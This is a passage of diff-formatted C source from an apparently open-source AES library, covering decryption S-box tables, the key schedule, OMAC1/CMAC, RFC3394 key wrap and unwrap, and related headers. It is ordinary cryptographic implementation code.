0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU,
|
||||
0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U,
|
||||
0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U,
|
||||
};
|
||||
const u32 Td4[256] = {
|
||||
0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U,
|
||||
0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U,
|
||||
0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU,
|
||||
0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU,
|
||||
0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U,
|
||||
0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U,
|
||||
0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U,
|
||||
0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU,
|
||||
0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U,
|
||||
0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU,
|
||||
0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU,
|
||||
0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU,
|
||||
0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U,
|
||||
0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U,
|
||||
0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U,
|
||||
0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U,
|
||||
0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U,
|
||||
0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U,
|
||||
0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU,
|
||||
0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U,
|
||||
0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U,
|
||||
0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU,
|
||||
0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U,
|
||||
0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U,
|
||||
0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U,
|
||||
0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU,
|
||||
0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U,
|
||||
0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U,
|
||||
0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU,
|
||||
0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U,
|
||||
0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U,
|
||||
0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU,
|
||||
0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U,
|
||||
0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU,
|
||||
0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU,
|
||||
0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U,
|
||||
0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U,
|
||||
0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U,
|
||||
0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U,
|
||||
0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU,
|
||||
0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U,
|
||||
0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U,
|
||||
0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU,
|
||||
0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU,
|
||||
0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU,
|
||||
0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U,
|
||||
0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU,
|
||||
0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U,
|
||||
0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U,
|
||||
0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U,
|
||||
0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U,
|
||||
0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU,
|
||||
0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U,
|
||||
0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU,
|
||||
0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU,
|
||||
0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU,
|
||||
0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 0x4d4d4d4dU,
|
||||
0xaeaeaeaeU, 0x2a2a2a2aU, 0xf5f5f5f5U, 0xb0b0b0b0U,
|
||||
0xc8c8c8c8U, 0xebebebebU, 0xbbbbbbbbU, 0x3c3c3c3cU,
|
||||
0x83838383U, 0x53535353U, 0x99999999U, 0x61616161U,
|
||||
0x17171717U, 0x2b2b2b2bU, 0x04040404U, 0x7e7e7e7eU,
|
||||
0xbabababaU, 0x77777777U, 0xd6d6d6d6U, 0x26262626U,
|
||||
0xe1e1e1e1U, 0x69696969U, 0x14141414U, 0x63636363U,
|
||||
0x55555555U, 0x21212121U, 0x0c0c0c0cU, 0x7d7d7d7dU,
|
||||
};
|
||||
const u32 rcon[] = {
|
||||
0x01000000, 0x02000000, 0x04000000, 0x08000000,
|
||||
0x10000000, 0x20000000, 0x40000000, 0x80000000,
|
||||
0x1B000000, 0x36000000, /* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
|
||||
};
|
||||
#else /* AES_SMALL_TABLES */
|
||||
const u8 Td4s[256] = {
|
||||
0x52U, 0x09U, 0x6aU, 0xd5U, 0x30U, 0x36U, 0xa5U, 0x38U,
|
||||
0xbfU, 0x40U, 0xa3U, 0x9eU, 0x81U, 0xf3U, 0xd7U, 0xfbU,
|
||||
0x7cU, 0xe3U, 0x39U, 0x82U, 0x9bU, 0x2fU, 0xffU, 0x87U,
|
||||
0x34U, 0x8eU, 0x43U, 0x44U, 0xc4U, 0xdeU, 0xe9U, 0xcbU,
|
||||
0x54U, 0x7bU, 0x94U, 0x32U, 0xa6U, 0xc2U, 0x23U, 0x3dU,
|
||||
0xeeU, 0x4cU, 0x95U, 0x0bU, 0x42U, 0xfaU, 0xc3U, 0x4eU,
|
||||
0x08U, 0x2eU, 0xa1U, 0x66U, 0x28U, 0xd9U, 0x24U, 0xb2U,
|
||||
0x76U, 0x5bU, 0xa2U, 0x49U, 0x6dU, 0x8bU, 0xd1U, 0x25U,
|
||||
0x72U, 0xf8U, 0xf6U, 0x64U, 0x86U, 0x68U, 0x98U, 0x16U,
|
||||
0xd4U, 0xa4U, 0x5cU, 0xccU, 0x5dU, 0x65U, 0xb6U, 0x92U,
|
||||
0x6cU, 0x70U, 0x48U, 0x50U, 0xfdU, 0xedU, 0xb9U, 0xdaU,
|
||||
0x5eU, 0x15U, 0x46U, 0x57U, 0xa7U, 0x8dU, 0x9dU, 0x84U,
|
||||
0x90U, 0xd8U, 0xabU, 0x00U, 0x8cU, 0xbcU, 0xd3U, 0x0aU,
|
||||
0xf7U, 0xe4U, 0x58U, 0x05U, 0xb8U, 0xb3U, 0x45U, 0x06U,
|
||||
0xd0U, 0x2cU, 0x1eU, 0x8fU, 0xcaU, 0x3fU, 0x0fU, 0x02U,
|
||||
0xc1U, 0xafU, 0xbdU, 0x03U, 0x01U, 0x13U, 0x8aU, 0x6bU,
|
||||
0x3aU, 0x91U, 0x11U, 0x41U, 0x4fU, 0x67U, 0xdcU, 0xeaU,
|
||||
0x97U, 0xf2U, 0xcfU, 0xceU, 0xf0U, 0xb4U, 0xe6U, 0x73U,
|
||||
0x96U, 0xacU, 0x74U, 0x22U, 0xe7U, 0xadU, 0x35U, 0x85U,
|
||||
0xe2U, 0xf9U, 0x37U, 0xe8U, 0x1cU, 0x75U, 0xdfU, 0x6eU,
|
||||
0x47U, 0xf1U, 0x1aU, 0x71U, 0x1dU, 0x29U, 0xc5U, 0x89U,
|
||||
0x6fU, 0xb7U, 0x62U, 0x0eU, 0xaaU, 0x18U, 0xbeU, 0x1bU,
|
||||
0xfcU, 0x56U, 0x3eU, 0x4bU, 0xc6U, 0xd2U, 0x79U, 0x20U,
|
||||
0x9aU, 0xdbU, 0xc0U, 0xfeU, 0x78U, 0xcdU, 0x5aU, 0xf4U,
|
||||
0x1fU, 0xddU, 0xa8U, 0x33U, 0x88U, 0x07U, 0xc7U, 0x31U,
|
||||
0xb1U, 0x12U, 0x10U, 0x59U, 0x27U, 0x80U, 0xecU, 0x5fU,
|
||||
0x60U, 0x51U, 0x7fU, 0xa9U, 0x19U, 0xb5U, 0x4aU, 0x0dU,
|
||||
0x2dU, 0xe5U, 0x7aU, 0x9fU, 0x93U, 0xc9U, 0x9cU, 0xefU,
|
||||
0xa0U, 0xe0U, 0x3bU, 0x4dU, 0xaeU, 0x2aU, 0xf5U, 0xb0U,
|
||||
0xc8U, 0xebU, 0xbbU, 0x3cU, 0x83U, 0x53U, 0x99U, 0x61U,
|
||||
0x17U, 0x2bU, 0x04U, 0x7eU, 0xbaU, 0x77U, 0xd6U, 0x26U,
|
||||
0xe1U, 0x69U, 0x14U, 0x63U, 0x55U, 0x21U, 0x0cU, 0x7dU,
|
||||
};
|
||||
const u8 rcons[] = {
|
||||
0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36
|
||||
/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
|
||||
};
|
||||
#endif /* AES_SMALL_TABLES */
|
||||
/**
|
||||
* Expand the cipher key into the encryption key schedule.
|
||||
*
|
||||
* @return the number of rounds for the given cipher key size.
|
||||
*/
|
||||
void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[])
|
||||
{
|
||||
int i;
|
||||
u32 temp;
|
||||
|
||||
rk[0] = GETU32(cipherKey );
|
||||
rk[1] = GETU32(cipherKey + 4);
|
||||
rk[2] = GETU32(cipherKey + 8);
|
||||
rk[3] = GETU32(cipherKey + 12);
|
||||
for (i = 0; i < 10; i++) {
|
||||
temp = rk[3];
|
||||
rk[4] = rk[0] ^
|
||||
TE421(temp) ^ TE432(temp) ^ TE443(temp) ^ TE414(temp) ^
|
||||
RCON(i);
|
||||
rk[5] = rk[1] ^ rk[4];
|
||||
rk[6] = rk[2] ^ rk[5];
|
||||
rk[7] = rk[3] ^ rk[6];
|
||||
rk += 4;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,124 @@
|
|||
/*
|
||||
* One-key CBC MAC (OMAC1) hash with AES-128
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
static void gf_mulx(u8 *pad)
|
||||
{
|
||||
int i, carry;
|
||||
|
||||
carry = pad[0] & 0x80;
|
||||
for (i = 0; i < AES_BLOCK_SIZE - 1; i++)
|
||||
pad[i] = (pad[i] << 1) | (pad[i + 1] >> 7);
|
||||
pad[AES_BLOCK_SIZE - 1] <<= 1;
|
||||
if (carry)
|
||||
pad[AES_BLOCK_SIZE - 1] ^= 0x87;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* omac1_aes_128_vector - One-Key CBC MAC (OMAC1) hash with AES-128
|
||||
* @key: 128-bit key for the hash operation
|
||||
* @num_elem: Number of elements in the data vector
|
||||
* @addr: Pointers to the data areas
|
||||
* @len: Lengths of the data blocks
|
||||
* @mac: Buffer for MAC (128 bits, i.e., 16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This is a mode for using block cipher (AES in this case) for authentication.
|
||||
* OMAC1 was standardized with the name CMAC by NIST in a Special Publication
|
||||
* (SP) 800-38B.
|
||||
*/
|
||||
int omac1_aes_128_vector(const u8 *key, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len, u8 *mac)
|
||||
{
|
||||
void *ctx;
|
||||
u8 cbc[AES_BLOCK_SIZE], pad[AES_BLOCK_SIZE];
|
||||
const u8 *pos, *end;
|
||||
size_t i, e, left, total_len;
|
||||
|
||||
ctx = aes_encrypt_init(key, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
os_memset(cbc, 0, AES_BLOCK_SIZE);
|
||||
|
||||
total_len = 0;
|
||||
for (e = 0; e < num_elem; e++)
|
||||
total_len += len[e];
|
||||
left = total_len;
|
||||
|
||||
e = 0;
|
||||
pos = addr[0];
|
||||
end = pos + len[0];
|
||||
|
||||
while (left >= AES_BLOCK_SIZE) {
|
||||
for (i = 0; i < AES_BLOCK_SIZE; i++) {
|
||||
cbc[i] ^= *pos++;
|
||||
if (pos >= end) {
|
||||
e++;
|
||||
pos = addr[e];
|
||||
end = pos + len[e];
|
||||
}
|
||||
}
|
||||
if (left > AES_BLOCK_SIZE)
|
||||
aes_encrypt(ctx, cbc, cbc);
|
||||
left -= AES_BLOCK_SIZE;
|
||||
}
|
||||
|
||||
os_memset(pad, 0, AES_BLOCK_SIZE);
|
||||
aes_encrypt(ctx, pad, pad);
|
||||
gf_mulx(pad);
|
||||
|
||||
if (left || total_len == 0) {
|
||||
for (i = 0; i < left; i++) {
|
||||
cbc[i] ^= *pos++;
|
||||
if (pos >= end) {
|
||||
e++;
|
||||
pos = addr[e];
|
||||
end = pos + len[e];
|
||||
}
|
||||
}
|
||||
cbc[left] ^= 0x80;
|
||||
gf_mulx(pad);
|
||||
}
|
||||
|
||||
for (i = 0; i < AES_BLOCK_SIZE; i++)
|
||||
pad[i] ^= cbc[i];
|
||||
aes_encrypt(ctx, pad, mac);
|
||||
aes_encrypt_deinit(ctx);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* omac1_aes_128 - One-Key CBC MAC (OMAC1) hash with AES-128 (aka AES-CMAC)
|
||||
* @key: 128-bit key for the hash operation
|
||||
* @data: Data buffer for which a MAC is determined
|
||||
* @data_len: Length of data buffer in bytes
|
||||
* @mac: Buffer for MAC (128 bits, i.e., 16 bytes)
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*
|
||||
* This is a mode for using block cipher (AES in this case) for authentication.
|
||||
* OMAC1 was standardized with the name CMAC by NIST in a Special Publication
|
||||
* (SP) 800-38B.
|
||||
*/
|
||||
int omac1_aes_128(const u8 *key, const u8 *data, size_t data_len, u8 *mac)
|
||||
{
|
||||
return omac1_aes_128_vector(key, 1, &data, &data_len, mac);
|
||||
}
|
|
@ -0,0 +1,79 @@
|
|||
/*
|
||||
* AES key unwrap (128-bit KEK, RFC3394)
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
/**
|
||||
* aes_unwrap - Unwrap key with AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
|
||||
* @kek: Key encryption key (KEK)
|
||||
* @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16
|
||||
* bytes
|
||||
* @cipher: Wrapped key to be unwrapped, (n + 1) * 64 bits
|
||||
* @plain: Plaintext key, n * 64 bits
|
||||
* Returns: 0 on success, -1 on failure (e.g., integrity verification failed)
|
||||
*/
|
||||
int aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain)
|
||||
{
|
||||
u8 a[8], *r, b[16];
|
||||
int i, j;
|
||||
void *ctx;
|
||||
|
||||
/* 1) Initialize variables. */
|
||||
os_memcpy(a, cipher, 8);
|
||||
r = plain;
|
||||
os_memcpy(r, cipher + 8, 8 * n);
|
||||
|
||||
ctx = aes_decrypt_init(kek, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
|
||||
/* 2) Compute intermediate values.
|
||||
* For j = 5 to 0
|
||||
* For i = n to 1
|
||||
* B = AES-1(K, (A ^ t) | R[i]) where t = n*j+i
|
||||
* A = MSB(64, B)
|
||||
* R[i] = LSB(64, B)
|
||||
*/
|
||||
for (j = 5; j >= 0; j--) {
|
||||
r = plain + (n - 1) * 8;
|
||||
for (i = n; i >= 1; i--) {
|
||||
os_memcpy(b, a, 8);
|
||||
b[7] ^= n * j + i;
|
||||
|
||||
os_memcpy(b + 8, r, 8);
|
||||
aes_decrypt(ctx, b, b);
|
||||
os_memcpy(a, b, 8);
|
||||
os_memcpy(r, b + 8, 8);
|
||||
r -= 8;
|
||||
}
|
||||
}
|
||||
aes_decrypt_deinit(ctx);
|
||||
|
||||
/* 3) Output results.
|
||||
*
|
||||
* These are already in @plain due to the location of temporary
|
||||
* variables. Just verify that the IV matches with the expected value.
|
||||
*/
|
||||
for (i = 0; i < 8; i++) {
|
||||
if (a[i] != 0xa6)
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,76 @@
|
|||
/*
|
||||
* AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#include "common.h"
|
||||
#include "aes.h"
|
||||
#include "aes_wrap.h"
|
||||
|
||||
/**
|
||||
* aes_wrap - Wrap keys with AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
|
||||
* @kek: 16-octet Key encryption key (KEK)
|
||||
* @n: Length of the plaintext key in 64-bit units; e.g., 2 = 128-bit = 16
|
||||
* bytes
|
||||
* @plain: Plaintext key to be wrapped, n * 64 bits
|
||||
* @cipher: Wrapped key, (n + 1) * 64 bits
|
||||
* Returns: 0 on success, -1 on failure
|
||||
*/
|
||||
int aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher)
|
||||
{
|
||||
u8 *a, *r, b[16];
|
||||
int i, j;
|
||||
void *ctx;
|
||||
|
||||
a = cipher;
|
||||
r = cipher + 8;
|
||||
|
||||
/* 1) Initialize variables. */
|
||||
os_memset(a, 0xa6, 8);
|
||||
os_memcpy(r, plain, 8 * n);
|
||||
|
||||
ctx = aes_encrypt_init(kek, 16);
|
||||
if (ctx == NULL)
|
||||
return -1;
|
||||
|
||||
/* 2) Calculate intermediate values.
|
||||
* For j = 0 to 5
|
||||
* For i=1 to n
|
||||
* B = AES(K, A | R[i])
|
||||
* A = MSB(64, B) ^ t where t = (n*j)+i
|
||||
* R[i] = LSB(64, B)
|
||||
*/
|
||||
for (j = 0; j <= 5; j++) {
|
||||
r = cipher + 8;
|
||||
for (i = 1; i <= n; i++) {
|
||||
os_memcpy(b, a, 8);
|
||||
os_memcpy(b + 8, r, 8);
|
||||
aes_encrypt(ctx, b, b);
|
||||
os_memcpy(a, b, 8);
|
||||
a[7] ^= n * j + i;
|
||||
os_memcpy(r, b + 8, 8);
|
||||
r += 8;
|
||||
}
|
||||
}
|
||||
aes_encrypt_deinit(ctx);
|
||||
|
||||
/* 3) Output the results.
|
||||
*
|
||||
* These are already in @cipher due to the location of temporary
|
||||
* variables.
|
||||
*/
|
||||
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,27 @@
|
|||
/*
|
||||
* AES functions
|
||||
* Copyright (c) 2003-2006, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef AES_H
|
||||
#define AES_H
|
||||
|
||||
#define AES_BLOCK_SIZE 16
|
||||
|
||||
void * aes_encrypt_init(const u8 *key, size_t len);
|
||||
void aes_encrypt(void *ctx, const u8 *plain, u8 *crypt);
|
||||
void aes_encrypt_deinit(void *ctx);
|
||||
void * aes_decrypt_init(const u8 *key, size_t len);
|
||||
void aes_decrypt(void *ctx, const u8 *crypt, u8 *plain);
|
||||
void aes_decrypt_deinit(void *ctx);
|
||||
|
||||
#endif /* AES_H */
|
|
@ -0,0 +1,122 @@
|
|||
/*
|
||||
* AES (Rijndael) cipher
|
||||
* Copyright (c) 2003-2005, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef AES_I_H
|
||||
#define AES_I_H
|
||||
|
||||
#include "aes.h"
|
||||
|
||||
/* #define FULL_UNROLL */
|
||||
#define AES_SMALL_TABLES
|
||||
|
||||
extern const u32 Te0[256];
|
||||
extern const u32 Te1[256];
|
||||
extern const u32 Te2[256];
|
||||
extern const u32 Te3[256];
|
||||
extern const u32 Te4[256];
|
||||
extern const u32 Td0[256];
|
||||
extern const u32 Td1[256];
|
||||
extern const u32 Td2[256];
|
||||
extern const u32 Td3[256];
|
||||
extern const u32 Td4[256];
|
||||
extern const u32 rcon[10];
|
||||
extern const u8 Td4s[256];
|
||||
extern const u8 rcons[10];
|
||||
|
||||
#ifndef AES_SMALL_TABLES
|
||||
|
||||
#define RCON(i) rcon[(i)]
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) Te1[((i) >> 16) & 0xff]
|
||||
#define TE2(i) Te2[((i) >> 8) & 0xff]
|
||||
#define TE3(i) Te3[(i) & 0xff]
|
||||
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
|
||||
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
|
||||
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
|
||||
#define TE4(i) (Te4[(i)] & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) Td1[((i) >> 16) & 0xff]
|
||||
#define TD2(i) Td2[((i) >> 8) & 0xff]
|
||||
#define TD3(i) Td3[(i) & 0xff]
|
||||
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
|
||||
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) Td1[(i) & 0xff]
|
||||
#define TD2_(i) Td2[(i) & 0xff]
|
||||
#define TD3_(i) Td3[(i) & 0xff]
|
||||
|
||||
#else /* AES_SMALL_TABLES */
|
||||
|
||||
#define RCON(i) (rcons[(i)] << 24)
|
||||
|
||||
static inline u32 rotr(u32 val, int bits)
|
||||
{
|
||||
return (val >> bits) | (val << (32 - bits));
|
||||
}
|
||||
|
||||
#define TE0(i) Te0[((i) >> 24) & 0xff]
|
||||
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
|
||||
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
|
||||
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
|
||||
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
|
||||
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
|
||||
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
|
||||
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
|
||||
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
|
||||
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
|
||||
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
|
||||
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
|
||||
|
||||
#define TD0(i) Td0[((i) >> 24) & 0xff]
|
||||
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
|
||||
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
|
||||
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
|
||||
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
|
||||
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
|
||||
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
|
||||
#define TD44(i) (Td4s[(i) & 0xff])
|
||||
#define TD0_(i) Td0[(i) & 0xff]
|
||||
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
|
||||
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
|
||||
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
|
||||
|
||||
#endif /* AES_SMALL_TABLES */
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#define SWAP(x) (_lrotl(x, 8) & 0x00ff00ff | _lrotr(x, 8) & 0xff00ff00)
|
||||
#define GETU32(p) SWAP(*((u32 *)(p)))
|
||||
#define PUTU32(ct, st) { *((u32 *)(ct)) = SWAP((st)); }
|
||||
#else
|
||||
#define GETU32(pt) (((u32)(pt)[0] << 24) ^ ((u32)(pt)[1] << 16) ^ \
|
||||
((u32)(pt)[2] << 8) ^ ((u32)(pt)[3]))
|
||||
#define PUTU32(ct, st) { \
|
||||
(ct)[0] = (u8)((st) >> 24); (ct)[1] = (u8)((st) >> 16); \
|
||||
(ct)[2] = (u8)((st) >> 8); (ct)[3] = (u8)(st); }
|
||||
#endif
|
||||
|
||||
#define AES_PRIV_SIZE (4 * 44)
|
||||
|
||||
void rijndaelKeySetupEnc(u32 rk[/*44*/], const u8 cipherKey[]);
|
||||
|
||||
#endif /* AES_I_H */
|
|
@ -0,0 +1,48 @@
|
|||
/*
|
||||
* AES-based functions
|
||||
*
|
||||
* - AES Key Wrap Algorithm (128-bit KEK) (RFC3394)
|
||||
* - One-Key CBC MAC (OMAC1) hash with AES-128
|
||||
* - AES-128 CTR mode encryption
|
||||
* - AES-128 EAX mode encryption/decryption
|
||||
* - AES-128 CBC
|
||||
*
|
||||
* Copyright (c) 2003-2007, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef AES_WRAP_H
|
||||
#define AES_WRAP_H
|
||||
|
||||
int __must_check aes_wrap(const u8 *kek, int n, const u8 *plain, u8 *cipher);
|
||||
int __must_check aes_unwrap(const u8 *kek, int n, const u8 *cipher, u8 *plain);
|
||||
int __must_check omac1_aes_128_vector(const u8 *key, size_t num_elem,
|
||||
const u8 *addr[], const size_t *len,
|
||||
u8 *mac);
|
||||
int __must_check omac1_aes_128(const u8 *key, const u8 *data, size_t data_len,
|
||||
u8 *mac);
|
||||
